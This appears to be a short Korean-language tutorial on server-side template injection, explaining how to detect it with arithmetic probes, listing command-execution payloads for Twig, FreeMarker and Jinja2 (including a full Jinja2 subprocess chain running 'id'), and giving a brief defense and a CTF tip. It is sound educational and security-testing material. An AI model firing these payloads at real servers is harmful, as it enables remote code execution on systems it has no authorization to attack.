SSTI: 서버사이드 템플릿 인젝션 완전 분석
SSTI(Server-Side Template Injection)는 템플릿 엔진이 사용자 입력을 코드로 해석할 때 발생하는 취약점이다. XSS처럼 보이지만 실제론 서버에서 실행되어 RCE까지 이어질 수 있다.
동작 원리
{{7*7}}을 입력했을 때 49가 출력된다면? 템플릿 엔진이 그대로 연산한 것 — SSTI 확정이다.
각 엔진마다 문법이 다르다:
- Jinja2 (Python):
{{config}}로 설정 정보 노출 - Twig (PHP):
{{_self.env.getFilter("exec")("id")}} - FreeMarker (Java):
${"freemarker.template.utility.Execute"?new()("id")}
Jinja2 RCE 페이로드
{{ ''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate() }}
__mro__로 클래스 체인을 타고 올라가 subprocess.Popen을 호출하는 방식이다.
탐지 방법
퍼징 페이로드로 엔진을 식별한다:
${7*7}→ FreeMarker, Velocity{{7*7}}→ Jinja2, Twig<%= 7*7 %>→ ERB
방어
사용자 입력을 절대 템플릿 문자열에 직접 삽입하지 말 것. 렌더링은 항상 render_template_string(template, **context) 방식으로 변수를 별도 전달해야 한다.
CTF에서 SSTI 문제 보이면 일단 {{7*7}} 넣어보자. 숫자 나오는 순간 이미 절반 풀린 거다. 🔥